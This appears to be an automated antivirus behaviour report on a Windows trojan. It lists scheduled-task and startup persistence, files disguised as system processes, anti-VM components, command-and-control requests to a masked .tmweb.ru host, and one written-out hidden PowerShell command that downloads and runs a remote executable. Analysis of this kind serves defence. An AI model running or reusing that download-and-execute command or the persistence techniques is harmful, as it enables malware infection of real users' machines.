Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\system.lnk
- <SYSTEM32>\tasks\e34907c4fd2c9f641cf0e32874acac87
- <SYSTEM32>\tasks\fvtjq1xt
- <SYSTEM32>\tasks\10ltiu2e
- <SYSTEM32>\tasks\ptxhvcvz
- <SYSTEM32>\tasks\yosdrvl3
- <SYSTEM32>\tasks\eblxb4tu
- <SYSTEM32>\tasks\ggzy1qjv
Malicious functions
Downloads and executes
- http://cn####8.tmweb.ru/windows.exe as %temp%\exploit.exe
Modifies file system
Creates the following files
- %TEMP%\exploit.exe
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\iexplore.exe
- %TEMP%\pb2pl1di.0.cs
- %TEMP%\pb2pl1di.cmdline
- %TEMP%\pb2pl1di.out
- %ProgramFiles%\updclient\csc6e4d.tmp
- %TEMP%\res6e4e.tmp
- %ProgramFiles%\updclient\csrss.exe
- %TEMP%\5jxld345.0.cs
- %TEMP%\5jxld345.cmdline
- %TEMP%\dclib\al6cf54c5afe698333513f91b6a461a8fe412e5694.dclib
- %TEMP%\5jxld345.out
- %TEMP%\nyriogqz.cmdline
- %TEMP%\nyriogqz.out
- C:\documents and settings\csc790b.tmp
- %TEMP%\res791c.tmp
- C:\documents and settings\taskhost.exe
- %TEMP%\k2dg05oc.0.cs
- %TEMP%\k2dg05oc.cmdline
- %TEMP%\k2dg05oc.out
- C:\users\default\my documents\csc85cd.tmp
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\csc619b.tmp
- %TEMP%\res619c.tmp
- %TEMP%\5wdxzgor.out
- %TEMP%\5wdxzgor.cmdline
- %TEMP%\5wdxzgor.0.cs
- %APPDATA%\windows\mlpi9mkdzgqevbpwj4jccu3ozakcm7.vbs
- %APPDATA%\windows\ykf3fucrtmjajnj2vpfjjhslntgkon.bat
- %APPDATA%\windows\dclib\al6cf54c5afe698333513f91b6a461a8fe412e5694.dclib
- %APPDATA%\windows\dclib\antivm.dclib
- %APPDATA%\windows\dclib\fw1400ed0ee6a34b0b561cf386c29735441144b544.dclib
- %APPDATA%\windows\c83sauttyw95kev4p9ukfca1xct1oy.bat
- %APPDATA%\windows\vmcheck32.dll
- %APPDATA%\windows\win.exe
- %APPDATA%\windows\system.vbe
- %TEMP%\res85ce.tmp
- %TEMP%\nyriogqz.0.cs
- %APPDATA%\windows\system.lnk
- %TEMP%\dclib\fw1400ed0ee6a34b0b561cf386c29735441144b544.dclib
- %ProgramFiles(x86)%\uninstall information\mqjf1qsj\win.exe
- %ProgramFiles(x86)%\uninstall information\mqjf1qsj\vmcheck32.dll
- %TEMP%\cjrb3gfu.0.cs
- %TEMP%\cjrb3gfu.cmdline
- %TEMP%\cjrb3gfu.out
- C:\msocache\all users\{90140000-00ba-0409-1000-0000000ff1ce}-c\csc54ca.tmp
- %TEMP%\res54cb.tmp
- C:\msocache\all users\{90140000-00ba-0409-1000-0000000ff1ce}-c\wininit.exe
- %APPDATA%\windows\gqoz8cucjnpdaryt6wll.exe
- %TEMP%\dclib\antivm.dclib
- C:\users\default\my documents\osppsvc.exe
Deletes the following files
- %TEMP%\res54cb.tmp
- %TEMP%\k2dg05oc.cmdline
- C:\users\default\my documents\csc85cd.tmp
- %TEMP%\res85ce.tmp
- %TEMP%\nyriogqz.out
- %TEMP%\nyriogqz.cmdline
- %TEMP%\nyriogqz.0.cs
- C:\documents and settings\csc790b.tmp
- %TEMP%\res791c.tmp
- %TEMP%\5jxld345.0.cs
- %TEMP%\5jxld345.out
- %TEMP%\5jxld345.cmdline
- %TEMP%\pb2pl1di.out
- %TEMP%\pb2pl1di.cmdline
- %TEMP%\pb2pl1di.0.cs
- %ProgramFiles%\updclient\csc6e4d.tmp
- %TEMP%\res6e4e.tmp
- %TEMP%\5wdxzgor.cmdline
- %TEMP%\5wdxzgor.out
- %TEMP%\5wdxzgor.0.cs
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\csc619b.tmp
- %TEMP%\res619c.tmp
- %TEMP%\cjrb3gfu.out
- %TEMP%\cjrb3gfu.0.cs
- %TEMP%\cjrb3gfu.cmdline
- C:\msocache\all users\{90140000-00ba-0409-1000-0000000ff1ce}-c\csc54ca.tmp
- %TEMP%\k2dg05oc.out
- %TEMP%\k2dg05oc.0.cs
Network activity
TCP
HTTP GET requests
- http://cn####8.tmweb.ru/windows.exe
- http://cn####8.tmweb.ru/vz7wkt1vnmaj4j9yy4a51gcnbp4iu4hdbk6ui0350zxtml3/sflqvsoeiijvo0mo9eu7wz8j6z006fmyrajlcsbci63s8h3pfrkc0q2w6okvq8kqg4n270279/5fe116131d16a8b064272791e782c5d5363db826.php?03...
- http://cn####8.tmweb.ru/vz7wkt1vnmaj4j9yy4a51gcnbp4iu4hdbk6ui0350zxtml3/sflqvsoeiijvo0mo9eu7wz8j6z006fmyrajlcsbci63s8h3pfrkc0q2w6okvq8kqg4n270279/5fe116131d16a8b064272791e782c5d5363db826.php?54...
- http://cn####8.tmweb.ru/vz7wkt1vnmaj4j9yy4a51gcnbp4iu4hdbk6ui0350zxtml3/sflqvsoeiijvo0mo9eu7wz8j6z006fmyrajlcsbci63s8h3pfrkc0q2w6okvq8kqg4n270279/zgo6qt/6e43f762cba4b86bc0c491b86ddeed9e.php?1e#...
- http://ip##fo.io/ip
UDP
- DNS ASK cn####8.tmweb.ru
- DNS ASK ip##fo.io
Miscellaneous
Searches for the following windows
- ClassName: 'EDIT' WindowName: ''
Creates and executes the following
- '%TEMP%\exploit.exe'
- '%WINDIR%\syswow64\wscript.exe' "%APPDATA%\windows\System.vbe"
- 'C:\documents and settings\taskhost.exe'
- '%APPDATA%\windows\gqoz8cucjnpdaryt6wll.exe' -pfe269a32d6ea191305070eac6a20af987ddbebea
- 'C:\msocache\all users\{90140000-00ba-0409-1000-0000000ff1ce}-c\wininit.exe'
- '%WINDIR%\syswow64\wscript.exe' "%APPDATA%\windows\MLPi9MKdzgQeVBPWJ4jCCU3oZaKCM7.vbs"
- 'C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\iexplore.exe'
- '%ProgramFiles%\updclient\csrss.exe'
- 'C:\users\default\my documents\osppsvc.exe'
- '%APPDATA%\windows\win.exe'
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES791C.tmp" "c:\Documents and Settings\CSC790B.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\k2dg05oc.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\g3cyk00i.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\0o5eeubi.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\0vbyweg3.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\nyriogqz.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES85CE.tmp" "c:\Users\Default\My Documents\CSC85CD.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES6E4E.tmp" "%ProgramFiles%\updclient\CSC6E4D.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES54CB.tmp" "c:\MSOCache\All Users\{90140000-00BA-0409-1000-0000000FF1CE}-C\CSC54CA.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\hpwjst1l.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES619C.tmp" "c:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\CSC619B.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\5wdxzgor.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\5jxld345.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\cjrb3gfu.cmdline"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\windows\C83sAUTTyw95KEv4p9UKFcA1xcT1oY.bat" "' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\windows\yKf3FUCrtmjaJNJ2VpFJjHsLntgKoN.bat" "' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\pb2pl1di.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA79E.tmp" "%ProgramFiles(x86)%\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\CSCA77E.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESACAF.tmp" "c:\PerfLogs\Admin\CSCACAE.tmp"' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c PowerShell.exe -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('http://cn####8.tmweb.ru/windows.exe','%temp%\exploit.exe');Start-Process '%temp%\exploit.exe'
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA79E.tmp" "%ProgramFiles(x86)%\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\CSCA77E.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\0vbyweg3.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\0o5eeubi.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\g3cyk00i.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES85CE.tmp" "c:\Users\Default\My Documents\CSC85CD.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\k2dg05oc.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES791C.tmp" "c:\Documents and Settings\CSC790B.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\nyriogqz.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\5jxld345.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES6E4E.tmp" "%ProgramFiles%\updclient\CSC6E4D.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\pb2pl1di.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES619C.tmp" "c:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\CSC619B.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\5wdxzgor.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES54CB.tmp" "c:\MSOCache\All Users\{90140000-00BA-0409-1000-0000000FF1CE}-C\CSC54CA.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\cjrb3gfu.cmdline"
- '%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\windows\C83sAUTTyw95KEv4p9UKFcA1xcT1oY.bat" "
- '%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\windows\yKf3FUCrtmjaJNJ2VpFJjHsLntgKoN.bat" "
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\hpwjst1l.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESACAF.tmp" "c:\PerfLogs\Admin\CSCACAE.tmp"
